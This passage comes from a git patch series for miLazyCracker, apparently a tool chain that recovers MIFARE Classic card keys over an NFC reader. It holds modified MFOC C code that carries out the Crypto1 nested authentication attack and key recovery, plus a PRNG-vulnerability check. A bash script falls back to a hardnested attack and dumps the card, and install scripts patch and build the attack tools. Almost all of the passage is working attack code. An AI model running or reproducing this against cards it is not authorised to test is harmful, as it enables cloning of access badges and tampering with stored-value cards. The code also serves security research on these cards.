all sectors encrypted with the default keys..\n\n"); +- return -1; +- } +- for (i = 0; i < t.num_sectors; i++) { +- if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { +- fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); +- return i; +- } +- } +- ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); +- exit(EXIT_FAILURE); +-} +- +-void mf_anticollision(mftag t, mfreader r) +-{ +- const nfc_modulation nm = { +- .nmt = NMT_ISO14443A, +- .nbr = NBR_106, +- }; +- if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { +- nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); +- ERR("Tag has been removed"); +- exit(EXIT_FAILURE); +- } +-} +- +-int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) +-{ +- struct Crypto1State *pcs; +- struct Crypto1State *revstate; +- struct Crypto1State *revstate_start; +- +- uint64_t lfsr; +- +- // Possible key counter, just continue with a previous "session" +- uint32_t kcount = pk->size; +- +- uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce +- uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; +- uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; +- uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +- +- uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +- uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; +- +- uint8_t Rx[MAX_FRAME_LEN]; // Tag response +- uint8_t RxPar[MAX_FRAME_LEN]; // Tag response +- +- uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; +- +- int i; +- uint32_t m; +- +- // Prepare AUTH command +- Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; +- iso14443a_crc_append(Auth, 2); +- // fprintf(stdout, "\nAuth command:\t"); +- // print_hex(Auth, 4); +- +- // We need full control over the CRC +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); +- exit(EXIT_FAILURE); +- } +- +- // Request plain tag-nonce +- // TODO: Set NP_EASY_FRAMING option only once if possible +- if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); +- exit(EXIT_FAILURE); +- } +- +- if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { +- fprintf(stdout, "Error while requesting plain tag-nonce\n"); +- exit(EXIT_FAILURE); +- } +- +- if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool"); +- exit(EXIT_FAILURE); +- } +- // print_hex(Rx, 4); +- +- // Save the tag nonce (Nt) +- Nt = bytes_to_num(Rx, 4); +- +- // Init the cipher with key {0..47} bits +- if (t.sectors[e_sector].foundKeyA) { +- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); +- } else { +- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); +- } +- +- // Load (plain) uid^nt into the cipher {48..79} bits +- crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); +- +- // Generate (encrypted) nr+parity by loading it into the cipher +- for (i = 0; i < 4; i++) { +- // Load in, and encrypt the reader nonce (Nr) +- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; +- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); +- } +- // Skip 32 bits in the pseudo random generator +- Nt = prng_successor(Nt, 32); +- // Generate reader-answer from tag-nonce +- for (i = 4; i < 8; i++) { +- // Get the next random byte +- Nt = prng_successor(Nt, 8); +- // Encrypt the reader-answer (Nt' = suc2(Nt)) +- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); +- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); +- } +- +- // Finally we want to send arbitrary parity bits +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); +- exit(EXIT_FAILURE); +- } +- +- // Transmit reader-answer +- // fprintf(stdout, "\t{Ar}:\t"); +- // print_hex_par(ArEnc, 64, ArEncPar); +- int res; +- if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { +- ERR("Reader-answer transfer error, exiting.."); +- exit(EXIT_FAILURE); +- } +- +- // Now print the answer from the tag +- // fprintf(stdout, "\t{At}:\t"); +- // print_hex_par(Rx,RxLen,RxPar); +- +- // Decrypt the tag answer and verify that suc3(Nt) is At +- Nt = prng_successor(Nt, 32); +- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { +- ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); +- exit(EXIT_FAILURE); +- } +- // fprintf(stdout, "Authentication completed.\n\n"); +- +- // If we are in "Get Distances" mode +- if (mode == 'd') { +- for (m = 0; m < d->num_distances; m++) { +- // fprintf(stdout, "Nested Auth number: %x: ,", m); +- // Encrypt Auth command with the current keystream +- for (i = 0; i < 4; i++) { +- AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; +- // Encrypt the parity bits with the 4 plaintext bytes +- AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); +- } +- +- // Sending the encrypted Auth command +- if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { +- fprintf(stdout, "Error requesting encrypted tag-nonce\n"); +- exit(EXIT_FAILURE); +- } +- +- // Decrypt the encrypted auth +- if (t.sectors[e_sector].foundKeyA) { +- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); +- } else { +- pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); +- } +- NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); +- +- // Save the determined nonces distance +- d->distances[m] = nonce_distance(Nt, NtLast); +- int checkForValidPRNG = dist_nt(Nt, NtLast); +- //printf("NT distance: %d\n", checkForValidPRNG); +- +- // if no distance between, then we are in sync. +- if (checkForValidPRNG == 0) { +- printf("NT Distance is zero..........\n"); +- } else { +- if (checkForValidPRNG == -99999) { // invalid nonce received +- ++unexpected_random; +- if (unexpected_random > 4) { +- printf("PRNG is not vulnerable to nested attack\n"); +- return -99999; +- } +- } +- } +- +- // Again, prepare and send {At} +- for (i = 0; i < 4; i++) { +- ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; +- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); +- } +- Nt = prng_successor(NtLast, 32); +- for (i = 4; i < 8; i++) { +- Nt = prng_successor(Nt, 8); +- ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); +- ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); +- } +- nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); +- if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { +- ERR("Reader-answer transfer error, exiting.."); +- exit(EXIT_FAILURE); +- } +- Nt = prng_successor(Nt, 32); +- if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { +- ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); +- exit(EXIT_FAILURE); +- } +- } // Next auth probe +- +- // Find median from all distances +- d->median = median(*d); +- //fprintf(stdout, "Median: %05d\n", d->median); +- } // The end of Get Distances mode +- +- // If we are in "Get Recovery" mode +- if (mode == 'r') { +- // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC +- Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; +- Auth[1] = a_sector; +- iso14443a_crc_append(Auth, 2); +- +- // Encryption of the Auth command, sending the Auth command +- for (i = 0; i < 4; i++) { +- AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; +- // Encrypt the parity bits with the 4 plaintext bytes +- AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); +- } +- if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { +- ERR("while requesting encrypted tag-nonce"); +- exit(EXIT_FAILURE); +- } +- +- // Finally we want to send arbitrary parity bits +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); +- exit(EXIT_FAILURE); +- } +- +- if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { +- nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); +- exit(EXIT_FAILURE); +- } +- +- // Save the encrypted nonce +- NtEnc = bytes_to_num(Rx, 4); +- +- // Parity validity check +- for (i = 0; i < 3; ++i) { +- d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); +- } +- +- // Iterate over Nt-x, Nt+x +- // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); +- NtProbe = prng_successor(Nt, d->median - d->tolerance); +- for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { +- +- // Try to recover the keystream1 +- Ks1 = NtEnc ^ NtProbe; +- +- // Skip this nonce after invalid 3b parity check +- revstate_start = NULL; +- if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { +- // And finally recover the first 32 bits of the key +- revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); +- if (revstate_start == NULL) { +- revstate_start = revstate; +- } +- while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { +- lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); +- crypto1_get_lfsr(revstate, &lfsr); +- // Allocate a new space for keys +- if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { +- pk->size += MEM_CHUNK; +- // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); +- pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); +- if (pk->possibleKeys == NULL) { +- ERR("Memory allocation error for pk->possibleKeys"); +- exit(EXIT_FAILURE); +- } +- } +- pk->possibleKeys[kcount] = lfsr; +- kcount++; +- revstate++; +- } +- free(revstate_start); +- } +- NtProbe = prng_successor(NtProbe, 2); +- } +- // Truncate +- if (kcount != 0) { +- pk->size = --kcount; +- if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { +- ERR("Memory allocation error for pk->possibleKeys"); +- exit(EXIT_FAILURE); +- } +- } +- } +- crypto1_destroy(pcs); +- return 11; +-} +- +-// Return the median value from the nonce distances array +-uint32_t median(denonce d) +-{ +- int middle = (int) d.num_distances / 2; +- qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); +- +- if (d.num_distances % 2 == 1) { +- // Odd number of elements +- return d.distances[middle]; +- } else { +- // Even number of elements, return the smaller value +- return (uint32_t)(d.distances[middle - 1]); +- } +-} +- +-int compar_int(const void *a, const void *b) +-{ +- return (*(uint64_t *)b - * (uint64_t *)a); +-} +- +-// Compare countKeys structure +-int compar_special_int(const void *a, const void *b) +-{ +- return (((countKeys *)b)->count - ((countKeys *)a)->count); +-} +- +-countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) +-{ +- unsigned int i, j = 0; +- int count = 0; +- countKeys *our_counts; +- +- qsort(possibleKeys, size, sizeof(uint64_t), compar_int); +- +- our_counts = calloc(size, sizeof(countKeys)); +- if (our_counts == NULL) { +- ERR("Memory allocation error for our_counts"); +- exit(EXIT_FAILURE); +- } +- +- for (i = 0; i < size; i++) { +- if (possibleKeys[i + 1] == possibleKeys[i]) { +- count++; +- } else { +- our_counts[j].key = possibleKeys[i]; +- our_counts[j].count = count; +- j++; +- count = 0; +- } +- } +- qsort(our_counts, j, sizeof(countKeys), compar_special_int); +- return (our_counts); +-} +- +- +-// Return 1 if the nonce is invalid else return 0 +-int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) +-{ +- return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ +- (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ +- (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; +-} +- +-void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) +-{ +- while (len--) { +- dest[len] = (uint8_t) n; +- n >>= 8; +- } +-} +- +-long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +-{ +- uint64_t num = 0; +- while (len--) { +- num = (num << 8) | (*src); +- src++; +- } +- return num; +-} +diff --git a/mfoc_fix_4k_and_mini.diff b/mfoc_fix_4k_and_mini.diff +new file mode 100644 +index 0000000..c835ad2 +--- /dev/null ++++ b/mfoc_fix_4k_and_mini.diff +@@ -0,0 +1,13 @@ ++diff --git a/src/mfoc.c b/src/mfoc.c ++index 32ef6f7..babbe15 100644 ++--- a/src/mfoc.c +++++ b/src/mfoc.c ++@@ -756,7 +756,7 @@ int main(int argc, char *const argv[]) ++ } ++ ++ // Finally save all keys + data to file ++- uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; +++ uint16_t dump_size = (t.num_blocks + 1) * 16; ++ if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { ++ fprintf(stdout, "Error, cannot write dump\n"); ++ fclose(pfDump); +diff --git a/mfoc_support_tnp.diff b/mfoc_support_tnp.diff +new file mode 100644 +index 0000000..f00bdf9 +--- /dev/null ++++ b/mfoc_support_tnp.diff +@@ -0,0 +1,21 @@ ++diff --git a/src/mfoc.c b/src/mfoc.c ++index 2c06b16..469b138 100644 ++--- a/src/mfoc.c +++++ b/src/mfoc.c ++@@ -307,7 +307,7 @@ int main(int argc, char *const argv[]) ++ } ++ ++ // Test if a compatible MIFARE tag is used ++- if ((t.nt.nti.nai.btSak & 0x08) == 0) { +++ if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) { ++ ERR("only Mifare Classic is supported"); ++ goto error; ++ } ++@@ -318,6 +318,7 @@ int main(int argc, char *const argv[]) ++ // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 ++ switch (t.nt.nti.nai.btSak) ++ { +++ case 0x01: ++ case 0x08: ++ case 0x88: ++ printf("Found Mifare Classic 1k tag\n"); +diff --git a/mfoc_test_prng.diff b/mfoc_test_prng.diff +new file mode 100644 +index 0000000..3a44c5e +--- /dev/null ++++ b/mfoc_test_prng.diff +@@ -0,0 +1,160 @@ ++diff --git a/src/mfoc.c b/src/mfoc.c ++index 32ef6f7..889669d 100644 ++--- a/src/mfoc.c +++++ b/src/mfoc.c ++@@ -58,6 +58,48 @@ ++ ++ nfc_context *context; ++ +++uint64_t knownKey = 0; +++char knownKeyLetter = 'A'; +++uint32_t knownSector = 0; +++uint32_t unknownSector = 0; +++char unknownKeyLetter = 'A'; +++uint32_t unexpected_random = 0; +++ +++// Determine the distance between two nonces. +++// Assume that the difference is small, but we don't know which is first. +++// Therefore try in alternating directions. +++int32_t dist_nt(uint32_t nt1, uint32_t nt2) { +++ +++ if (nt1 == nt2) return 0; +++ +++ uint16_t i; +++ uint32_t nttmp1 = nt1; +++ uint32_t nttmp2 = nt2; +++ +++ for (i = 1; i < (32768/8); ++i) { +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; +++ +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); +++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; +++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); +++ } +++ // either nt1 or nt2 are invalid nonces +++ return(-99999); +++} +++ +++ ++ int main(int argc, char *const argv[]) ++ { ++ const nfc_modulation nm = { ++@@ -117,6 +159,7 @@ int main(int argc, char *const argv[]) ++ ++ mifare_cmd mc; ++ FILE *pfDump = NULL; +++ FILE *pfKey = NULL; ++ ++ //File pointers for the keyfile ++ FILE * fp; ++@@ -200,6 +243,14 @@ int main(int argc, char *const argv[]) ++ } ++ // fprintf(stdout, "Output file: %s\n", optarg); ++ break; +++ case 'D': +++ // Partial File output +++ if (!(pfKey = fopen(optarg, "w"))) { +++ fprintf(stderr, "Cannot open: %s, exiting\n", optarg); +++ exit(EXIT_FAILURE); +++ } +++ // fprintf(stdout, "Output file: %s\n", optarg); +++ break; ++ case 'h': ++ usage(stdout, 0); ++ break; ++@@ -421,14 +472,28 @@ int main(int argc, char *const argv[]) ++ ++ fprintf(stdout, "\n"); ++ for (i = 0; i < (t.num_sectors); ++i) { ++- if(t.sectors[i].foundKeyA) +++ if(t.sectors[i].foundKeyA){ ++ fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); ++- else +++ memcpy(&knownKey, t.sectors[i].KeyA, 6); +++ knownKeyLetter = 'A'; +++ knownSector = i; +++ } +++ else{ ++ fprintf(stdout, "Sector %02d - Unknown Key A ", i); ++- if(t.sectors[i].foundKeyB) +++ unknownSector = i; +++ unknownKeyLetter = 'A'; +++ } +++ if(t.sectors[i].foundKeyB){ ++ fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); ++- else +++ knownKeyLetter = 'B'; +++ memcpy(&knownKey, t.sectors[i].KeyB, 6); +++ knownSector = i; +++ } +++ else{ ++ fprintf(stdout, "Unknown Key B\n"); +++ unknownSector = i; +++ unknownKeyLetter = 'B'; +++ } ++ } ++ fflush(stdout); ++ ++@@ -504,7 +569,18 @@ int main(int argc, char *const argv[]) ++ // Max probes for auth for each sector ++ for (k = 0; k < probes; ++k) { ++ // Try to authenticate to exploit sector and determine distances (filling denonce.distances) ++- mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode +++ int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode +++ if(authresult == -99999){ +++ //for now we return the last sector that is unknown +++ nfc_close(r.pdi); +++ nfc_exit(context); +++ if(pfKey) { +++ fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); +++ fclose(pfKey); +++ } +++ return 9; +++ } +++ ++ printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); ++ // Configure device to the previous state ++ mf_configure(r.pdi); ++@@ -720,6 +796,7 @@ void usage(FILE *stream, int errno) ++ fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); ++ // fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); ++ fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); +++ fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n"); ++ fprintf(stream, "\n"); ++ fprintf(stream, "Example: mfoc -O mycard.mfd\n"); ++ fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); ++@@ -979,7 +1056,21 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d ++ ++ // Save the determined nonces distance ++ d->distances[m] = nonce_distance(Nt, NtLast); ++- // fprintf(stdout, "distance: %05d\n", d->distances[m]); +++ int checkForValidPRNG = dist_nt(Nt, NtLast); +++ //printf("NT distance: %d\n", checkForValidPRNG); +++ +++ // if no distance between, then we are in sync. +++ if (checkForValidPRNG == 0) { +++ printf("NT Distance is zero..........\n"); +++ } else { +++ if (checkForValidPRNG == -99999) { // invalid nonce received +++ ++unexpected_random; +++ if (unexpected_random > 4) { +++ printf("PRNG is not vulnerable to nested attack\n"); +++ return -99999; +++ } +++ } +++ } ++ ++ // Again, prepare and send {At} ++ for (i = 0; i < 4; i++) { +diff --git a/miLazyCracker.sh b/miLazyCracker.sh +old mode 100644 +new mode 100755 +index 655262a..c0677a2 +--- a/miLazyCracker.sh ++++ b/miLazyCracker.sh +@@ -1,71 +1,79 @@ + #!/bin/bash + +-mfoc -O /tmp/asdf1234zxcvqwerlkjh0978.mfd ++myUID=$(nfc-list -t 1|sed -n 's/ //g;/UID/s/.*://p') ++TMPFILE_MFD="mfc_${myUID}_dump.mfd" ++TMPFILE_UNK="mfc_${myUID}_unknownMfocSectorInfo.txt" ++TMPFILE_FND="mfc_${myUID}_foundKeys.txt" ++ ++if [ -f "$TMPFILE_FND" ]; then ++ mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" ++else ++ mfoc -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" ++fi + mfocResult=$? + prngNotVulnerable=9 + keepTrying=1 + foundKeysForMFOC=" " + +-while [ $keepTrying -eq 1 ] +-do +-#echo "MFOC result: $mfocResult" +-if [ "$mfocResult" == "$prngNotVulnerable" ];then +- echo "MFOC not possible, detected hardened Mifare Classic" +- if [ "$mfocResult" -eq 9 ];then +- FILENAME="/tmp/unknownMfocSectorInfo_123456asdfqwer.txt" +- count=0 +- while read LINE +- do +- let count++ +- #echo "$count $LINE" +- done < $FILENAME ++while [ $keepTrying -eq 1 ]; do ++ #echo "MFOC result: $mfocResult" ++ if [ "$mfocResult" == "$prngNotVulnerable" ]; then ++ echo "MFOC not possible, detected hardened Mifare Classic" ++ if [ "$mfocResult" -eq 9 ]; then ++ count=0 ++ while read LINE; do ++ let count++ ++ #echo "$count $LINE" ++ done < "$TMPFILE_UNK" + +- arr=(`echo $LINE | tr ';' ' '`) +- #echo ${arr[0]} +- #echo ${arr[1]} +- #echo ${arr[2]} +- #echo ${arr[3]} +- #echo ${arr[4]} ++ arr=(`echo $LINE | tr ';' ' '`) ++ #echo ${arr[0]} ++ #echo ${arr[1]} ++ #echo ${arr[2]} ++ #echo ${arr[3]} ++ #echo ${arr[4]} + +- knownKey=${arr[0]} +- knownSectorNum=${arr[1]} +- knownKeyLetter=${arr[2]} +- unknownSectorNum=${arr[3]} +- unknownKeyLetter=${arr[4]} +- knownBlockNum=$(($knownSectorNum * 4)) +- unknownBlockNum=$(($unknownSectorNum * 4)) +- echo "Trying HardNested Attack..." +- mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter") +- echo "${mycmd[@]}" +- "${mycmd[@]}" ++ knownKey=${arr[0]} ++ knownSectorNum=${arr[1]} ++ knownKeyLetter=${arr[2]} ++ unknownSectorNum=${arr[3]} ++ unknownKeyLetter=${arr[4]} ++ knownBlockNum=$(($knownSectorNum * 4)) ++ unknownBlockNum=$(($unknownSectorNum * 4)) ++ echo "Trying HardNested Attack..." ++ mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter" "$TMPFILE_FND") ++ echo "${mycmd[@]}" ++ "${mycmd[@]}" + else +- echo "mfoc returned: $mfocResult" +- keepTrying=0 +- fi ++ echo "mfoc returned: $mfocResult" ++ keepTrying=0 ++ fi + + cryptoCrackResult=$? + if [ "$cryptoCrackResult" -eq 0 ];then +- FILENAME="/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt" +- while read LINE +- do +- echo "$LINE" +- done < $FILENAME ++ while read LINE ++ do ++ echo "$LINE" ++ done < "$TMPFILE_FND" + +- #arr=(`echo $LINE | tr ';' ' '`) +- #echo ${arr[0]} +- #echo ${arr[1]} +- #echo ${arr[2]} +- #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " +- mycmd=(mfoc -f "$FILENAME" -O /tmp/asdf1234zxcvqwerlkjh0978.mfd) +- echo "${mycmd[@]}" +- "${mycmd[@]}" +- mfocResult=$? ++ #arr=(`echo $LINE | tr ';' ' '`) ++ #echo ${arr[0]} ++ #echo ${arr[1]} ++ #echo ${arr[2]} ++ #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " ++ mycmd=(mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK") ++ echo "${mycmd[@]}" ++ "${mycmd[@]}" ++ mfocResult=$? + fi +-else +- keepTrying=0 +-fi ++ else ++ keepTrying=0 ++ fi + done + +-rm -rf /tmp/asdf1234zxcvqwerlkjh0978.mfd +-rm -rf /tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt +-rm -rf /tmp/unknownMfocSectorInfo_123456asdfqwer.txt ++rm -f "$TMPFILE_UNK" "$TMPFILE_FND" "0x${myUID}_"*".txt" ++if [ $mfocResult -eq 0 ]; then ++ echo -e "\n\nDump left in: $TMPFILE_MFD" ++else ++ rm -f "$TMPFILE_MFD" ++fi +diff --git a/miLazyCrackerFreshInstall.sh b/miLazyCrackerFreshInstall.sh +index 8988255..0b02392 100755 +--- a/miLazyCrackerFreshInstall.sh ++++ b/miLazyCrackerFreshInstall.sh +@@ -1,26 +1,40 @@ +-#run this from inside miLazyCracker git repo ++#!/bin/bash + +-sudo apt-get install git +-sudo apt-get install libnfc-bin +-sudo apt-get install autoconf +-sudo apt-get install libnfc-dev ++set -x + +-#install MFOC +-git clone https://github.com/nfc-tools/mfoc.git ++# run this from inside miLazyCracker git repo ++ ++sudo apt-get install git libnfc-bin autoconf libnfc-dev ++ ++# install MFOC ++[ -d mfoc ] || git clone https://github.com/nfc-tools/mfoc.git + cd mfoc +-cp ../mfoc.c src/ #copy in modified mfoc.c +-sudo autoreconf -vfi ++git reset --hard ++git clean -dfx ++# patch initially done against commit 48156f9b: ++patch -p1 < ../mfoc_test_prng.diff ++patch -p1 < ../mfoc_fix_4k_and_mini.diff ++patch -p1 < ../mfoc_support_tnp.diff ++autoreconf -vfi + ./configure +-sudo make ++make + sudo make install + + cd .. + +-#install Hardnested Attack Tool +-git clone https://github.com/aczid/crypto1_bs ++# install Hardnested Attack Tool ++[ -d crypto1_bs ] || git clone https://github.com/aczid/crypto1_bs + cd crypto1_bs +-cp ../libnfc_crypto1_crack.c . #copy in modified .c ++git reset --hard ++git clean -dfx ++# patch initially done against commit 957702be: ++patch -p1 < ../crypto1_bs.diff + make get_craptev1 + make get_crapto1 + make +-sudo cp libnfc_crypto1_crack /usr/bin ++sudo cp -a libnfc_crypto1_crack /usr/local/bin ++ ++cd .. ++ ++# install our script ++sudo cp -a miLazyCracker.sh /usr/local/bin/miLazyCracker +diff --git a/miLazyCrackerUninstall.sh b/miLazyCrackerUninstall.sh +new file mode 100755 +index 0000000..51ec2f0 +--- /dev/null ++++ b/miLazyCrackerUninstall.sh +@@ -0,0 +1,16 @@ ++#!/bin/bash ++ ++# uninstall dependencies ++#sudo apt-get remove git ++#sudo apt-get remove libnfc-bin ++#sudo apt-get remove autoconf ++#sudo apt-get remove libnfc-dev ++ ++# uninstall MFOC ++sudo rm -f /usr/local/bin/mfoc /usr/local/share/man/man1/mfoc.1 ++ ++# uninstall Hardnested Attack Tool ++sudo rm -f /usr/local/bin/libnfc_crypto1_crack ++ ++# uninstall our script ++sudo rm -f /usr/local/bin/miLazyCracker +-- +2.11.0 + diff --git a/README.md b/README.md index c66a8e5..5a8bc95 100644 --- a/README.md +++ b/README.md @@ -2,18 +2,17 @@ Mifare Classic Plus - Hardnested Attack Implementation for SCL3711 LibNFC USB reader This tool is comprised of work from: +- Aram Verstegen (https://github.com/aczid/crypto1_bs) -Aram Verstegen (https://github.com/aczid/crypto1_bs) +- Carlo Meijer and Roel Verdult: 